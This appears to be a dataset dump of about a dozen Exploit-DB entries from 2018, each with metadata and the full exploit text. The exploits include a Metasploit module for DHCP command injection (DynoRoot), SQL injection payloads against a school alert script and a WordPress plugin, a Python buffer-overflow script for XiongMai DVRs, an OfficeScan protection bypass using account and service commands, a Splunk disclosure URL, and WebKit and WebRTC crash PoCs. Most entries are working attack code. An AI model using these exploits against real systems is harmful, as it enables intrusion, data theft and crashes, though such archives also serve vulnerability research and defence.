QLWD/code_shield huggingface dataset:
标题: DHCP Client - Command Injection 'DynoRoot' (Metasploit) EDB-ID: 44890 CVE: 2018-1111 类型: REMOTE 平台: LINUX 发布日期: 2018-06-13 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::DHCPServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DHCP Client Command Injection (DynoRoot)',
      'Description'    => %q{
        This module exploits the DynoRoot vulnerability, a flaw in how the
         NetworkManager integration script included in the DHCP client in
         Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier
         processes DHCP options. A malicious DHCP server, or an attacker on
         the local network able to spoof DHCP responses, could use this flaw
         to execute arbitrary commands with root privileges on systems using
         NetworkManager and configured to obtain network configuration using
         the DHCP protocol.
      },
      'Author'         =>
        [
          'Felix Wilhelm', # Vulnerability discovery
          'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => true,
      'References'     =>
        [
          ['AKA', 'DynoRoot'],
          ['CVE', '2018-1111'],
          ['EDB': '44652'],
          ['URL', 'https://github.com/kkirsche/CVE-2018-1111'],
          ['URL', 'https://twitter.com/_fel1x/status/996388421273882626?lang=en'],
          ['URL', 'https://access.redhat.com/security/vulnerabilities/3442151'],
          ['URL', 'https://dynoroot.ninja/'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1111'],
          ['URL', 'https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble'],
          ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111']
        ],
      'Targets'        => [ [ 'Automatic Target', { }] ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'May 15 2018'
    ))

    deregister_options('DOMAINNAME', 'HOSTNAME', 'URL', 'FILENAME')
  end

  def exploit
    hash = datastore.copy
    start_service(hash)
    @dhcp.set_option(proxy_auto_discovery: "#{Rex::Text.rand_text_alpha(6..12)}'&#{payload.encoded} #")

    begin
      while @dhcp.thread.alive?
        sleep 2
      end
    ensure
      stop_service
    end
  end
end URL: https://www.exploit-db.com/exploits/44890
标题: Schools Alert Management Script - SQL Injection EDB-ID: 44866 CVE: 2018-12055 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-11 漏洞利用脚本: # Exploit Title: Schools Alert Management Script - SQL Injection
# Date: 2018-06-07
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/
# Category: Web Application
# Exploit Author: M3@Pandas
# Web: https://github.com/unh3x/just4cve/issues/2
# Tested on: Linux Mint
# CVE: CVE-2018-12055

# Vulnerable cgi:
contact_us.php faq.php about.php photo_gallery.php privacy.php

# Proof of Concept：

POST http://localhost/[PATH]/photo_gallery.php DATA xxx'/**/union/**/all/**/select/**/1,user(),3,4# URL: https://www.exploit-db.com/exploits/44866
标题: WebRTC - VP9 Missing Frame Processing Out-of-Bounds Memory Access EDB-ID: 44863 CVE: 2018-6129 类型: DOS 平台: MULTIPLE 发布日期: 2018-06-08 漏洞利用脚本: There is a missing check in VP9 frame processing that could lead to memory corruption.

In the file video_coding/rtp_frame_reference_finder.cc, the function RtpFrameReferenceFinder::MissingRequiredFrameVp9 contains the following code:

  size_t temporal_idx = info.gof->temporal_idx[gof_idx];
  ...
  for (size_t l = 0; l < temporal_idx; ++l) {
      ...
      auto missing_frame_it = missing_frames_for_layer_[l].lower_bound(ref_pid);

missing_frames_for_layer_ is a std::array of length kMaxTemporalLayers which equals 5.

Meanwhile, values in the temporal_idx array are read in rtp_format_vp9.cc in the following code:

    RETURN_FALSE_ON_ERROR(parser->ReadBits(&t, 3));
    ...
    vp9->gof.temporal_idx[i] = t;

Reading three bits makes the maximum size of temporal_idx 7, which can go out of bounds of the missing_frames_for_layer_ array.

This issue causes a crash in Chrome. To reproduce the issue.

1) unzip the attached webrtc-from-chat.zip on a local webserver
2) fetch the webrtc source (https://webrtc.org/native-code/development/), and replace src/modules/rtp_rtcp/source/rtp_format_vp9.cc with the version attached to the code
3) build webrtc, including the examples
4) run the attached webrtcserver.py with python 3.6 or higher
5) start the peerconnection_client sample in the webrtc examples. Connect to the recommended server, and then select test2 as the peer to connect to
6) visit http://127.0.0.1/webrtc-from-chat/index.html in chrome
7) Enter any username and hit "Log in"
8) Type anything into the chat window at the bottom and hit send

The attached file 'missingframe' contains the VP9 frame that causes this crash.

Though the attached PoC requires user interaction, it is not necessary to exercise this issue in a browser.

This issue affects any browser that supports VP9, and can be reached by loading a single webpage (though some browsers will prompt for permissions). It also affects native clients (such as mobile applications) that use webrtc and support VP9, though the user has to place or answer a video call for their client to be in the state where this issue is reachable.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44863.zip URL: https://www.exploit-db.com/exploits/44863
标题: TrendMicro OfficeScan XG 11.0 - Change Prevention Bypass EDB-ID: 44858 CVE: 2018-10507 类型: LOCAL 平台: WINDOWS 发布日期: 2018-06-08 漏洞利用脚本: [+] Credits: John Page (aka hyp3rlinx) 
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/TRENDMICRO-OFFICESCAN-XG-v11.0-UNAUTHORIZED-CHANGE-PREVENTION-SERVICE-BYPASS.txt
[+] ISR: Apparition Security          
 


***Greetz: indoushka|Eduardo|Dirty0tis***



Vendor:
=============
www.trendmicro.com



Product:
===========
OfficeScan XG v11.0 


OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks.
An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that
manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the
web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent.




Vulnerability Type:
===================
Unauthorized Change Prevention Bypass



CVE Reference:
==============
CVE-2018-10507



Security Issue:
================
Attackers or malwarez that can access the system hosting the OfficeScan XG AV, can bypass the antivirus protection feature that prevents unauthorized changes
from being made like killing protected OfficeScan XG processes such as "PccNTMon.exe".


References:
============
https://success.trendmicro.com/solution/1119961



Exploit/POC:
=============

1) net user hacker abc123 /add

2) sc.exe config "TMBMServer" obj= ".\hacker" password= "pwnage"

3) net user hacker /delete

4) shutdown /r

Done!, now kill "PccNTMon.exe" or whatever...

requires Admin permissions to exploit


Network Access:
===============
Local



Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification:  June 29, 2017
Vendor releases critical patch and advisory : June 5, 2018
June 7, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx URL: https://www.exploit-db.com/exploits/44858
标题: WordPress Plugin Pie Register < 3.0.9 - Blind SQL Injection EDB-ID: 44867 CVE: 2018-10969 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-11 漏洞利用脚本: # Title: WordPress Plugin Pie Register < 3.0.9 - Blind SQL Injection
# Author: Manuel García Cárdenas
# Date: 2018-05-10
# Software: WordPress Plugin Pie Register 3.0.9
# CVE: CVE-2018-10969

# I. VULNERABILITY
# WordPress Plugin Pie Register 3.0.9 - Blind SQL Injection

# II. BACKGROUND
# Pie-Register is a quick and easy way to brand your Registration Pages on
# WordPress sites.

# III. DESCRIPTION
# This bug was found using the portal in the files:
# /pie-register/classes/invitation_code_pagination.php:    if ( isset(
# $_GET['order'] ) && $_GET['order'] )
# /pie-register/classes/invitation_code_pagination.php:    $order =
# $_GET['order'];
# And when the query is executed, the parameter "order" it is not sanitized.
# /pie-register/classes/invitation_code_pagination.php:    $this->order = esc_sql( $order );

# IV. PROOF OF CONCEPT
# The following URL have been confirmed to all suffer from Time Based SQL Injection.

GET
/wordpress/wp-admin/admin.php?page=pie-invitation-codes&orderby=name&order=desc
(original)

GET
/wordpress/wp-admin/admin.php?page=pie-invitation-codes&orderby=name&order=desc%2c(select*from(select(sleep(2)))a)
HTTP/1.1(2 seconds of response)

GET
/wordpress/wp-admin/admin.php?page=pie-invitation-codes&orderby=name&order=desc%2c(select*from(select(sleep(30)))a)
HTTP/1.1(30 seconds of response)

# V. SYSTEMS AFFECTED
# Pie Register <= 3.0.9

# VI. DISCLOSURE TIMELINE
# May 10, 2018 1: Vulnerability acquired by Manuel Garcia Cardenas
# May 10, 2018 2: Send to vendor without response
# June 05, 2018 3: Second email to vendor without response
# June 11, 2018 4: Send to the Full-Disclosure lists

# VII. Solution
# Disable plugin until a fix is available URL: https://www.exploit-db.com/exploits/44867
标题: WebRTC - VP9 Frame Processing Out-of-Bounds Memory Access EDB-ID: 44862 CVE: 2018-6130 类型: DOS 平台: MULTIPLE 发布日期: 2018-06-08 漏洞利用脚本: There is a missing check in VP9 frame processing that could lead to memory corruption.

In the file video_coding/rtp_frame_reference_finder.cc, the function RtpFrameReferenceFinder::ManageFrameVp9 fetches the GofInfo based on a pic_idx parsed from the incoming packet header. If the incoming frame is of type kVideoFrameKey, find is called on an iterator and the result is used without checking whether the it succeeds.

 if (frame->frame_type() == kVideoFrameKey) {
    ...
    GofInfo info = gof_info_.find(codec_header.tl0_pic_idx)->second;
    FrameReceivedVp9(frame->id.picture_id, &info);
    UnwrapPictureIds(frame);
    return kHandOff;
  }

This can cause a pointer to memory outside the gof_info_ map to be passed to FrameReceivedVp9. This function both reads and writes the info structure.

This issue does not crash reliably, so I recommend reproducing it using an asan build of Chrome. To reproduce the issue:

1) unzip the attached webrtc-from-chat.zip on a local webserver
2) fetch the webrtc source (https://webrtc.org/native-code/development/), and replace src/modules/rtp_rtcp/source/rtp_format_vp9.cc with the version attached to the code
3) build webrtc, including the examples
4) run the attached webrtcserver.py with python 3.6 or higher
5) start the peerconnection_client sample in the webrtc examples. Connect to the recommended server, and then select test2 as the peer to connect to
6) visit http://127.0.0.1/webrtc-from-chat/index.html in chrome
7) Enter any username and hit "Log in"
8) Type anything into the chat window at the bottom and hit send

Chrome should crash in a few seconds.

Though the attached PoC requires user interaction, it is not necessary to exercise this issue in a browser.

This issue affects any browser that supports VP9, and can be reached by loading a single webpage (though some browsers will prompt for permissions). It also affects native clients (such as mobile applications) that use webrtc and support VP9, though the user has to place or answer a video call for their client to be in the state where this issue is reachable.

I recommend fixing this by changing the above code to:

    auto gof_info_it = gof_info_.find(codec_header.tl0_pic_idx);
    if (gof_info_it == gof_info_.end())
        return kDrop;
    GofInfo info = gof_info_it->second;
    FrameReceivedVp9(frame->id.picture_id, &info);

I have verified that this fix would prevent the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44862.zip URL: https://www.exploit-db.com/exploits/44862
标题: Schools Alert Management Script - Arbitrary File Deletion EDB-ID: 44870 CVE: 2018-12053 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-11 漏洞利用脚本: # Exploit Title: Schools Alert Management Script - Arbitrary File Deletion
# Date: 2018-06-07
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/
# Category: Web Application
# Exploit Author: M3@Pandas
# Web: https://github.com/unh3x/just4cve/issues/6
# Tested on: Linux Mint
# CVE: CVE-2018-12053

# Proof of Concept：

/delete_img.php?img=./uploads/school_logos/1528_x1.php
# notice: There is a risk of file deletion，you'd better test it combined with file upload vulnerability.
# Attackers can delete any file through parameter 'img' with '../' . URL: https://www.exploit-db.com/exploits/44870
标题: XiongMai uc-httpd 1.0.0 - Buffer Overflow EDB-ID: 44864 CVE: 2018-10088 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-06-08 漏洞利用脚本: # Exploit Title: XiongMai uc-httpd 1.0.0 - Buffer Overflow
# Date: 2018-06-08           
# Exploit Author: Andrew Watson
# Software Version: XiongMai uc-httpd 1.0.0
# Vendor Homepage: http://www.xiongmaitech.com/en/
# Tested on: KKMoon DVR running XiongMai uc-httpd 1.0.0 on TCP/81
# CVE ID: CVE-2018-10088
# DISCLAIMER: This proof of concept is provided for educational purposes only!
 
#!/usr/bin/python
 
import socket
import sys
 
payload="A" * 85
 
print "\n###############################################"
print "XiongMai uc-httpd 1.0.0 Buffer Overflow Exploit"
 
if len(sys.argv) < 2:
    print "\nUsage: " + sys.argv[0] + " <Host>\n"
    sys.exit()
 
print "\nTarget: " + sys.argv[1]
print "Sending exploit..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],81))
s.send('POST /login.htm HTTP/1.1\r\n')
s.send('command=login&username=' + payload + '&password=PoC\r\n\r\n')
s.recv(1024)
s.close()
print "\nExploit complete!" URL: https://www.exploit-db.com/exploits/44864
标题: WebKit - Use-After-Free when Resuming Generator EDB-ID: 44861 CVE: 2018-4218 类型: DOS 平台: MULTIPLE 发布日期: 2018-06-08 漏洞利用脚本: <!--
In WebKit, resuming a generator is implemented in JavaScript. An internal object property, @generatorState is used to prevent recursion within generators. In GeneratorPrototype.js, the state is checked by calling:

    var state = this.@generatorState;

and set by calling:

    generator.@generatorState = @GeneratorStateExecuting;


Checking that the @generator property is set is also used in place of type checking the generator.

Therefore, if Generator.next is called on an object with a prototype that is a Generator, it will pass the type check, and the internal properties of the Generator prototype will be used to resume the generator. However, when @generatorState, it will be set as an own property on the object, not the prototype. This allows the creation of non-Generator objects with the @generatorState set to completed.

It is then possible to bypass the recursion check by setting the prototype of one of these objects to a Generator, as the check will then get the object's @generatorState own property, meanwhile the other internal properties will come from the prototype.

Generators are not intended to allow recursion, so a reference to the scope is not maintained, leading to a use-after free.

A minimal sample of the script causing this problem is below, and a full PoC is attached.

var iterator;

var a = [];

function* foo(index) {

  while (1) {
    var q = a.pop();
    if(q){
     q.__proto__ = iterator;
     q.next();
    }
    yield index++;
  }
}

function* foo2(){
    yield;
}

var temp = foo2(0);

for(var i = 0; i < 10; i++){ // make a few objects with @generatorState set
 var q = {};
 q.__proto__ = temp;
 q.next();
 q.__proto__ = {};
 a.push(q);

}

iterator = foo(0);

var q = {};
q.__proto__ = iterator;
print(q.next().value);
-->

<html><body><script>
print = console.log;
print("top");
var iterator;
var o = function(){print("hello")};
var a = [];
function* foo(index) {
  //print("start");

  while (1) {
    //if(index == 77){
      //  o = 0;
       // gc();        
// index = 2;
  //      var a = [1, 2, 3, 4];
 //yield 9;
        //print("a vale " + a[0]);
    //}
    //if(index == 1){
    //index = 77;
   // print("INTERNAL CALL")
   // iterator.next();
    //index++;

    //}
    //var b = [1, 2, 3, 4];
    var q = a.pop();
    if(q){
    print("here1");
    q.__proto__ = iterator;
    q.next();
    }
    yield index++;
    //print("bval" + b[0]);
  }
}

function* foo2(){

    yield;

}

var temp = foo2(0);

for(var i = 0; i < 10; i++){

 var q = {};
 q.__proto__ = temp;
 q.next();
 q.__proto__ = {};
 a.push(q);

}
//print(a);
iterator = foo(0);


// expected output: 0




o.__proto__ = iterator;
//print("FIRST CALL")
//print(o.next().value);
//print("SECOND CALL")
//print(o.next().value);
//print("THIRD CALL")

for(var i = 0; i < 10; i++){
var q = {};
q.__proto__ = iterator;
print(q.next("hello").value);
}

//print("FOURTH CALL")
//print(iterator.next().value);
o();
</script></body></html> URL: https://www.exploit-db.com/exploits/44861
标题: WebKit - WebAssembly Compilation Info Leak EDB-ID: 44859 CVE: 2018-4222 类型: DOS 平台: MULTIPLE 发布日期: 2018-06-08 漏洞利用脚本: <!--
There is an out-of-bounds read when compiling WebAssembly source buffers in WebKit. When a source buffer is compiled, it is first copied into a read-only buffer by the functuion getWasmBufferFromValue. This function returns the code buffer as follows:

return arrayBufferView ? static_cast<uint8_t*>(arrayBufferView->vector()) : static_cast<uint8_t*>(arrayBuffer->impl()->data());

If the source buffer is a view (DataView or TypedArray), arrayBufferView->vector() is returned. The vector() method returns the start of the data in the buffer, including any offset. However, the function createSourceBufferFromValue copies the output of this function as follows:

memcpy(result.data(), data + byteOffset, byteSize);

This means that if the buffer is a view, the offset is added to the buffer twice before this is copied. This could allow memory off the heap to be read out of the source buffer, either though parsing exceptions or data sections when they are copied. A minimal PoC for the issue is:

var b2 = new ArrayBuffer(1000);
var view = new Int8Array(b2, 700);
var mod = new WebAssembly.Module(a);

An HTML file the consistently crashes Safari is attached.
-->

<html><body><script>
for(var q = 0; q < 100; q++){
var i = Math.random();
i = Math.round(i*0x20000000);
i = Math.abs(i);
var b2 = new Uint8Array( i);
console.log("i" + i);
var j = Math.random();
j = j*i;
j = Math.round(j);
j = Math.abs(j);
console.log("j"+j)
var view2 = new DataView(b2.buffer,j);
try{
var mod = new WebAssembly.Module(view2);
}catch(e){
console.log(e);
}
}
</script></body></html> URL: https://www.exploit-db.com/exploits/44859
标题: Splunk < 7.0.1 - Information Disclosure EDB-ID: 44865 CVE: 2018-11409 类型: WEBAPPS 平台: LINUX 发布日期: 2018-06-08 漏洞利用脚本: # Exploit Title: Splunk < 7.0.1 - Information Disclosure
# Date: 2018-05-23
# Exploit Author: KoF2002
# Vendor Homepage: https://www.splunk.com/
# Version: 6.2.3 - 7.01 MAYBE ALL VERSION AFFECTED
# Tested on: Linux OS
# CVE : CVE-2018-11409

# Splunk through 6.2.3 7.0.1 allows information disclosure by appending
# /__raw/services/server/info/server-info?output_mode=json to a query,
# as demonstrated by discovering a license key and other information.

# PoC :

https://127.0.0.1:8000/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json

# Greats : Cold z3ro , ihab pal and all HTLovers "We Are Back" URL: https://www.exploit-db.com/exploits/44865
标题: WebKitGTK+ < 2.21.3 - Crash (PoC) EDB-ID: 44842 CVE: 2018-11646 类型: LOCAL 平台: LINUX 发布日期: 2018-06-05 漏洞利用脚本: # Title: WebKitGTK+ < 2.21.3 - Crash (PoC) 
# Author: Dhiraj Mishra
# Date: 2018-06-05
# Software: https://webkitgtk.org/
# CVE: CVE-2018-11646
# Summary:
# webkitFaviconDatabaseSetIconForPageURL and webkitFaviconDatabaseSetIconURLForPageURL in 
# UIProcess/API/glib/WebKitFaviconDatabase.cpp in WebKit, as used in WebKitGTK+ through 2.21.3, 
# mishandle an unset pageURL, leading to an application crash, CVE-2018-11646 was assigned to this issue.

# PoC:

<script>
win = window.open("sleep_one_second.php", "WIN"); 
window.open("https://www.paypal.com", "WIN");  
win.document.execCommand('Stop');              
win.document.write("Spoofed URL");   
win.document.close();
</script>


Backtrace using fedora 27:

#0 WTF::StringImpl::rawHash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 508
#1 WTF::StringImpl::hasHash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 514
#2 WTF::StringImpl::hash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 525
#3 WTF::StringHash::hash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringHash.h line 73
#9 WTF::HashMap, WTF::HashTraits >::get
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/HashMap.h line 406
#10 webkitFaviconDatabaseSetIconURLForPageURL
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 193
#11 webkitFaviconDatabaseSetIconForPageURL
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 318
#12 webkitWebViewSetIcon
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitWebView.cpp line 1964
#13 WTF::Function::performCallbackWithReturnValue
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/GenericCallback.h line 108
#15 WebKit::WebPageProxy::dataCallback
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 5083
#16 WebKit::WebPageProxy::finishedLoadingIcon
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 6848
#17 IPC::callMemberFunctionImpl::operator()
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 68
#29 WTF::RunLoop::::_FUN(gpointer)
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 70
#30 g_main_dispatch
at gmain.c line 3148
#31 g_main_context_dispatch
at gmain.c line 3813
#32 g_main_context_iterate
at gmain.c line 3886
#33 g_main_context_iteration
at gmain.c line 3947x
#34 g_application_run
at gapplication.c line 2401
#35 main
at ../src/ephy-main.c line 432 


# Reference's:
# https://bugs.webkit.org/show_bug.cgi?id=186164
# https://bugzilla.gnome.org/show_bug.cgi?id=795740 URL: https://www.exploit-db.com/exploits/44842